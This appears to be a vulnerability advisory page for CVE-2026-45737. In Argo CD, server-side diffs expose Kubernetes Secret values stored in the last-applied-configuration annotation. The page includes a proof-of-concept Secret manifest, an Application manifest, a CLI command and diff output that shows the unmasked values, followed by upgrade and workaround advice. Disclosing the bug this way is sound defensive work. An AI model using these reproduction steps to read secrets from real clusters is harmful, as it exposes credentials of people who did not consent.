CVE-2026-45737: Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations
Summary The original fix for GHSA-3v3m-wc6v-x4x3 is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation.
The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs.
Details The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including:
kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values.
The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked.
PoC Create an app containing this Secret manifest: yaml apiVersion: v1 kind: Namespace metadata: name: last-applied-secret-repro --- apiVersion: v1 kind: Secret metadata: name: secret namespace: last-applied-secret-repro annotations: app: test token: SECRETVAL type: Opaque data: password: U0VDUkVUVkFM username: U0VDUkVUVkFM Create and Sync Argo App yaml apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: last-applied-secret-repro namespace: argocd annotations: argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true spec: project: default destination: server: https://kubernetes.default.svc namespace: last-applied-secret-repro source: repoURL: https://github.com/YOURORG/YOURREPO.git targetRevision: HEAD path: last-applied-secret-repro syncPolicy: automated: prune: true selfHeal: true syncOptions: - CreateNamespace=true - ServerSideApply=true Run argo cd app diff argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false ❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false
===== /Secret last-applied-secret-repro/secret ====== 10c10,11 < kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}' --- > kubectl.kubernetes.io/last-applied-configuration: | > {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"} The secret value can be seen inside the diff
Impact Authenticated Argo CD users who can view application diffs may be able to read Secret values that should be masked.
Impacted values include: Secret data embedded in kubectl.kubernetes.io/last-applied-configuration
Other sources
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/argoproj/argo-cd/v3to a version that resolves this vulnerability.Fixed in 3.4.2 - Upgrade
Upgrade
go/github.com/argoproj/argo-cd/v3to a version that resolves this vulnerability.Fixed in 3.3.10 - Upgrade
Upgrade
go/github.com/argoproj/argo-cd/v3to a version that resolves this vulnerability.Fixed in 3.2.12 - Upgrade
Upgrade
argoproj/argo-cdto a version that resolves this vulnerability.Fixed in 3.2.12 - Upgrade
Upgrade
argoproj/argo-cdto a version that resolves this vulnerability.Fixed in 3.3.10 - Upgrade
Upgrade
argoproj/argo-cdto a version that resolves this vulnerability.Fixed in 3.4.2 - Compensating control
Avoid using Argo CD server-side diff for Secrets until upgrading: do not run `argocd app diff --server-side-diff` / disable `ServerSideDiff=true` (e.g., avoid `argocd.argoproj.io/compare-options: ServerSideDiff=true,...`) since diffs can expose Secret values embedded in `kubectl.kubernetes.io/last-applied-configuration`.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45737?
CVE-2026-45737 has been classified as a critical vulnerability due to its potential to expose sensitive Kubernetes Secret values.
How do I fix CVE-2026-45737?
To fix CVE-2026-45737, upgrade to Argo CD versions 3.4.2, 3.3.10, or 3.2.12 as these versions include the necessary security patches.
What are the affected software versions for CVE-2026-45737?
CVE-2026-45737 affects Argo CD versions from 3.4.0-rc1 to 3.4.1, 3.3.0-rc1 to 3.3.9, and 3.2.0 to 3.2.11.
What is the impact of CVE-2026-45737 on Kubernetes?
CVE-2026-45737 allows unauthorized access to sensitive information by exposing Kubernetes Secret values in annotations.
What are the best practices to mitigate CVE-2026-45737?
Best practices include regularly updating Argo CD to its latest version and auditing Kubernetes configurations to minimize the exposure of sensitive data.